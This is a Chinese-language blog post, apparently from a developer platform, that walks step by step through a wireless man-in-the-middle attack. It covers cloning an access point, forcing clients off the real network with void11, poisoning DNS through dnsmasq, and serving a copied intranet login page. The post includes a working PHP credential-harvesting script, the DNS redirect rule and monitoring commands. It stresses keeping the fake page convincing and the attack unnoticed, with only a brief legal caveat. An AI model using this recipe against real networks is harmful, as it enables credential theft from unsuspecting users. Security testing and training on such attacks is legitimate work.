17、无线中间人攻击实战指南

无线中间人攻击实战指南

1. 中间人攻击概述

中间人(MITM)攻击是一种在无线渗透测试中常用的技术,其基本设计目标是让无线客户端连接到攻击者控制的接入点,然后将其流量转发到真正的(授权的)接入点。在无线渗透测试中,通常会测试无线网络的安全控制,这就需要确定一个或多个目标接入点。

2. 攻击所需硬件

要成功执行中间人攻击,需要以下硬件组件:
- 一台笔记本电脑,具有两个 PCMCIA 插槽或一个 PCMCIA 和一个 mini - PCI 插槽。
- 两张无线网卡。
- 一个外部天线(优先选择全向天线)。
- 一个双向放大器(可选)。
- 用于连接外部天线、放大器和无线网卡的尾纤。
- 一个手持 GPS 单元(可选)。
- 一个电源逆变器。

硬件组件 说明
笔记本电脑 作为攻击平台,需具备处理内存密集型任务的能力,可充当目标接入点的克隆,并为发现的任何欺骗性网站运行 Web 服务器。
无线网卡 两张网卡,一张为无线客户端(受害者)提供接入点功能,需支持 Host AP 模式(也称为主模式);另一张用于与目标接入点建立连接。
外部天线 全向天线可向各个方向发送和接收无线信号,适合不确定客户端连接方向的情况;定向天线适用于针对特定位置的无线客户端。
2.4 GHz 放大器 用于扩展 2.4 GHz 无线电设备或接入点的范围,与天线配合使用以增强中间人接入点的信号,使其信号强于目标接入点。
3. 识别和攻破目标接入点

在发起中间人攻击之前,需要识别并攻破目标接入点。首先要建立与目标接入点的连接,这就需要绕过接入点启用的任何安全机制。可以通过 WarDriving 收集目标的初步数据,获取尽可能多的信息,这些信息有助于攻破目标接入点的安全控制。

4. 中间人攻击笔记本电脑配置
  • Linux 内核配置 :Linux 内核是 Linux 操作系统的核心,包含许多硬件支持、实用程序和驱动程序的选项。为了使攻击平台准备好进行攻击,需要启用内核中的一些选项。
  • IP 转发和 NAT 配置 :安装和配置 Linux 内核以及两个无线网卡后,启用 IP 转发和 NAT 最终会创建一个无线路由器/网关。IP 转发使两个无线接口能够相互通信并传递流量。
  • Dnsmasq 配置 :Dnsmasq 是一个轻量级、易于配置的 DNS 转发器和 DHCP 服务器。在攻击平台上,Dnsmasq 有两个重要功能:为连接到接入点的无线客户端提供 IP 地址,以及监控和毒害 DNS 查询。当将 Web 应用程序的 DNS 请求重定向到欺骗性 Web 服务器时,这个工具非常有用。
5. 克隆目标接入点并开始攻击

当完成中间人攻击笔记本电脑的配置后,就可以建立无线连接并开始攻击。此时,要确保硬件正常运行并正确连接,包括放大器和全向天线。以下是具体步骤:

graph LR
    A[完成笔记本配置] --> B[建立无线连接并验证服务启动]
    B --> C[启动无线接口]
    C --> D[验证与目标接入点的连接]
    D --> E[验证 Dnsmasq 运行]
    E --> F[验证 Iptables 启动并查看规则集]
    F --> G[使目标接入点的客户端断开认证]
    G --> H[等待客户端连接到自己的接入点]
    H --> I[识别目标 Web 应用程序]
    I --> J[欺骗应用程序]
  • 建立无线连接并验证服务启动
    • 验证必要的服务是否已启动。
    • 建立与目标无线网络的连接,并启用中间人接入点。
  • 启动无线接口
    • 配置完无线文件后,启动无线接口并建立无线网络连接。
    • 使用命令 /etc/init.d/net.wlan0 start 建立与目标无线网络的连接。例如,连接到 VisitorLAN 并获得 DHCP 地址 192.168.1.103。
    • 使用命令 /etc/init.d/net.wlan1 start 启动另一个无线接口(wan1),将 wlan1 接口设置为接入点,IP 地址为 192.168.10.1。
  • 验证与目标接入点的连接
    • 连接到目标接入点,验证连接是否正常。
    • 使用 route 命令检查默认路由,然后进行 ping 测试。
  • 验证 Dnsmasq 运行
    • 使用命令 /etc/init.d/dnsmasq status 检查 Dnsmasq 服务是否已启动。确保无线客户端连接到接入点时能从 Dnsmasq 获得 IP 地址。
  • 验证 Iptables 启动并查看规则集
    • 使用命令 /etc/init.d/iptables status 验证 iptables 是否已启动。
    • 使用命令 iptables –L 查看正在运行的规则。如果一切正常,可以继续;否则,需要更改规则并执行相应的 iptables 命令。
  • 使目标接入点的客户端断开认证
    要让受害无线客户端连接到自己的接入点,可以等待它们自然断开并重新连接,也可以强制它们重新连接。可以使用 void11 工具从目标接入点对客户端进行去认证操作,例如对 MAC 地址为 00:02:2D:2D:82:36 的无线客户端进行去认证。
  • 等待客户端连接到自己的接入点
    如果一切顺利,且自己接入点的信号强度强于目标网络的接入点,无线客户端应该会连接到自己的接入点。Dnsmasq 将根据 /etc/dnsmasq.conf 文件中定义的 DHCP 分配为客户端提供 IP 地址,客户端将使用接入点的 IP 地址作为网关和主 DNS 服务器。可以使用命令 grep –i dhcpack /var/log/messages 监控接入点的传入连接。
6. 识别目标 Web 应用程序

当有客户端连接到接入点后,需要查看它们正在连接的应用程序。最快的方法是查看 Dnsmasq 日志中的传入 DNS 请求,可以使用 GREP 命令查看无线客户端的 DNS 请求。例如,发现对 login.intranet 的 DNS 请求很有趣,可以使用 Web 浏览器进行检查。

7. 欺骗应用程序

欺骗应用程序的目标是让用户登录到自己的 Web 页面而不是真正的(授权的)页面。由于该网站未使用 SSL 且使用基于表单的认证页面,这相对容易实现。
- 使用 wget 下载目标 Web 页面
- 使用命令 wget -r http://192.168.1.30 下载目标 Web 应用程序。
- 下载完与网页相关的所有文件后,需要修改源 HTML 并添加一些额外的代码来捕获用户名和密码表单变量。
- 修改页面
- 编辑 index.html 文件时,要使页面内容对用户看起来与真实页面相同,避免让用户察觉这不是真正的网页。
- 原始的 index.html 网页代码如下:

<html><title>Intranet Login</title><body bgcolor=white>
<h1>Intranet Login</h1>
<form action='login.php' method="post">
<table border=0><tr><td>
Username:
</td><td>
<input type=text name="username" size=30>
</td></tr>
<tr><td>
Password:
</td><td>
<input type="password" name="password" size=30>
</td></tr>
</table>
<input type="submit" value="Submit">
</form>
</body></html>
- 根据上述表单变量、方法和动作,创建自己的后端 `login.php` 页面,代码如下:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$log='/var/log/apache2/captured.txt';
$user_info=("Username:$username
Password:$password" . "\n");
{
$fp=fopen($log,"a");
fwrite($fp, $user_info);
fclose($fp);
}
$URL=("http://192.168.1.30");
header ("Location: $URL");
?>
- 这个 `login.php` 页面从 `index.html` 页面请求表单变量,使用 PHP 文件写入函数将捕获的凭据写入日志文件 `/var/log/apache2/captured.txt`,然后通过设置头部位置变量将客户端重定向到原始登录页面。完成页面修改后,需要确保 Apache 正在运行且可访问。
  • 使用 Dnsmasq 重定向 Web 流量
    • 修改 Dnsmasq 配置文件的地址变量,添加目标的 DNS 名称和 Web 服务器的 IP 地址,例如 address=/login.intranet/192.168.10.1
    • 更新地址变量后,需要重启 Dnsmasq 服务以使更改生效: /etc/init.d/dnsmasq restart 。此时,如果连接到接入点的客户端请求 login.intranet 网页,IP 地址将解析到托管欺骗性登录页面的 Web 服务器。可以通过查看 /var/log/apache2/access_log 监控 Web 服务器的连接,当用户连接到欺骗性网页时,可以监控 /var/log/apache2/captured.txt 文件以捕获用户凭据。

通过以上步骤,可以完成一个基本的中间人攻击示例,针对 Web 应用程序窃取用户凭据。还可以基于这种基本攻击方法,扩展到针对其他应用程序(不仅仅是 Web 应用程序)进行攻击。

常见问题解答
  • Q:哪些无线网卡支持 Host AP 模式?
    A:Host AP 是用于无线网卡的 Linux 驱动程序,为使用 Intersil 的 Prism2、Prism2.5 或 Prism3 芯片组的无线网卡提供 802.11b 接入点功能。可以从 http://hostap.epitest.fi/ 获取有关支持的网卡的更多信息。
  • Q:如何让无线客户端从一个接入点断开连接并连接到我的接入点?
    A:可以等待客户端自然断开并重新连接,或者使用 void11 工具从目标接入点对客户端进行去认证操作,强制它们重新连接。

无线中间人攻击实战指南

8. 攻击效果监控与分析

在完成欺骗应用程序和重定向 Web 流量的操作后,需要对攻击效果进行监控与分析,以确保攻击达到预期目的。
|监控内容|监控方法|作用|
| ---- | ---- | ---- |
|Web 服务器连接|查看 /var/log/apache2/access_log 文件|了解客户端对欺骗性网页的访问情况,判断攻击是否吸引到了目标客户端|
|用户凭据捕获|监控 /var/log/apache2/captured.txt 文件|确认是否成功捕获到用户的用户名和密码等敏感信息|
|DNS 请求响应|观察客户端 DNS 请求及响应情况|验证 Dnsmasq 对 DNS 流量的重定向是否正常工作|

可以使用以下命令进行监控:

tail -f /var/log/apache2/access_log
tail -f /var/log/apache2/captured.txt

tail -f 命令可以实时显示文件的最新内容,方便及时发现新的连接和捕获的凭据。

graph LR
    A[攻击实施] --> B[监控 Web 服务器连接]
    A --> C[监控用户凭据捕获]
    A --> D[观察 DNS 请求响应]
    B --> E{是否有客户端访问}
    C --> F{是否捕获到凭据}
    D --> G{DNS 重定向是否正常}
    E -- 是 --> H[持续监控]
    E -- 否 --> I[检查配置]
    F -- 是 --> H
    F -- 否 --> I
    G -- 是 --> H
    G -- 否 --> I
9. 攻击的注意事项

在进行无线中间人攻击时,需要注意以下几个方面:
- 法律合规 :中间人攻击是一种具有潜在风险的技术手段,在未经授权的情况下对他人网络进行攻击属于违法行为。务必在合法合规的环境下进行测试,例如在自己的测试网络或者获得授权的目标网络中进行。
- 信号强度 :为了确保无线客户端能够从目标接入点切换到自己的接入点,需要保证自己接入点的信号强度足够强。可以通过合理选择天线和使用放大器来增强信号。
- 伪装程度 :欺骗性网页的设计要尽可能与真实网页保持一致,包括页面布局、颜色、字体等细节。同时,要确保表单处理逻辑和跳转逻辑的正确性,避免引起用户的怀疑。

10. 攻击的扩展与优化

基于上述基本的中间人攻击方法,可以进行扩展和优化,以适应不同的攻击场景和目标。
- 多应用攻击 :除了针对 Web 应用程序,还可以将攻击扩展到其他类型的应用程序,如邮件客户端、即时通讯工具等。需要根据不同应用程序的通信协议和认证机制,设计相应的欺骗策略。
- 自动化攻击 :编写脚本实现攻击过程的自动化,包括无线接口配置、Dnsmasq 和 Iptables 规则设置、网页下载和修改等操作。可以使用 Python 等脚本语言来实现自动化脚本。以下是一个简单的 Python 脚本示例,用于重启 Dnsmasq 服务:

import subprocess

def restart_dnsmasq():
    try:
        subprocess.run(['/etc/init.d/dnsmasq', 'restart'], check=True)
        print("Dnsmasq 服务已成功重启")
    except subprocess.CalledProcessError as e:
        print(f"重启 Dnsmasq 服务时出错: {e}")

if __name__ == "__main__":
    restart_dnsmasq()
  • 加密流量处理 :对于使用 SSL/TLS 加密的应用程序,需要采用更复杂的攻击技术,如 SSL 剥离攻击等。这种攻击可以在客户端和服务器之间插入中间人,将加密连接降级为非加密连接,从而实现对流量的监控和篡改。
11. 总结

无线中间人攻击是一种强大的渗透测试技术,通过克隆目标接入点、欺骗应用程序和重定向 Web 流量等手段,可以窃取用户的敏感信息。在实施攻击时,需要准备好必要的硬件和软件,按照正确的步骤进行配置和操作。同时,要注意法律合规和攻击的隐蔽性,避免引起目标网络的警觉。通过不断扩展和优化攻击方法,可以提高攻击的成功率和效果,为网络安全测试提供有力的支持。

常见问题回顾与补充
  • Q:如何选择合适的天线进行中间人攻击?
    A:如果不确定无线客户端的位置,建议使用全向天线,它可以向各个方向发送和接收无线信号。如果目标客户端集中在某个特定区域,可以考虑使用定向天线,以增强该区域的信号强度。
  • Q:Dnsmasq 配置错误导致 DNS 重定向失败怎么办?
    A:首先,检查 Dnsmasq 配置文件 /etc/dnsmasq.conf 中的地址变量是否正确设置,确保目标 DNS 名称和 Web 服务器 IP 地址无误。然后,使用命令 /etc/init.d/dnsmasq restart 重启 Dnsmasq 服务。如果问题仍然存在,可以查看 Dnsmasq 的日志文件 /var/log/syslog 查找错误信息。
  • Q:在攻击过程中,客户端没有连接到自己的接入点怎么办?
    A:可以检查自己接入点的信号强度是否足够强,是否正确配置了无线接口和 Dnsmasq 服务。同时,确保使用 void11 工具对目标接入点的客户端进行了有效的去认证操作。还可以尝试调整天线的位置和方向,以改善信号覆盖范围。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值